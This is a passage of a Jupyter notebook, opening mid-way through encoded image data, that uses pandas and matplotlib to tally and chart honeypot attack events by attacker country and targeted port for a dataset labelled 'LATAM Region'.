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       "text": [
        "<matplotlib.figure.Figure at 0x109252cd0>"
       ]
      }
     ],
     "prompt_number": 60
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most attacks across from country location, sorted highest to lowest."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['attackerCountry'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 61,
       "text": [
        "Germany                      673\n",
        "China                        592\n",
        "United States                571\n",
        "United Kingdom               214\n",
        "Palestinian Territory         71\n",
        "Russian Federation            44\n",
        "Taiwan                        42\n",
        "Venezuela                     41\n",
        "Vietnam                       36\n",
        "France                        36\n",
        "Korea, Republic of            33\n",
        "Brazil                        32\n",
        "Romania                       25\n",
        "Mexico                        22\n",
        "Indonesia                     22\n",
        "Japan                         20\n",
        "India                         20\n",
        "Iran, Islamic Republic of     18\n",
        "Ukraine                       17\n",
        "Thailand                      17\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 61
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "List of the most attacked ports and the number of events on those ports."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['allattackedPorts'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 62,
       "text": [
        "5060     1258\n",
        "445       696\n",
        "22        377\n",
        "1433      289\n",
        "3306       97\n",
        "21         15\n",
        "80         13\n",
        "60000       3\n",
        "135         2\n",
        "42494       1\n",
        "40405       1\n",
        "50560       1\n",
        "46390       1\n",
        "1094        1\n",
        "60685       1\n",
        "40179       1\n",
        "46222       1\n",
        "46652       1\n",
        "1136        1\n",
        "39883       1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 62
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most Attacked Port numbers 10000 or <"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('LATAM Region - Events on ports numbered 10000 or <', fontsize=20)\n",
      "attacker_df['allattackedPorts'] = attacker_df['allattackedPorts'].astype(int)\n",
      "for port in attacker_df['allattackedPorts'].value_counts()[:20].index:\n",
      "    if port < 10000:\n",
      "        plt.plot(attacker_df[attacker_df == port]['allattackedPorts'].resample(\"D\", how='count'), label=str(port),linewidth=4)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.legend(title=\"Port Number\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)  \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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\niIiIiIieRUxYENETGSxn6hsAo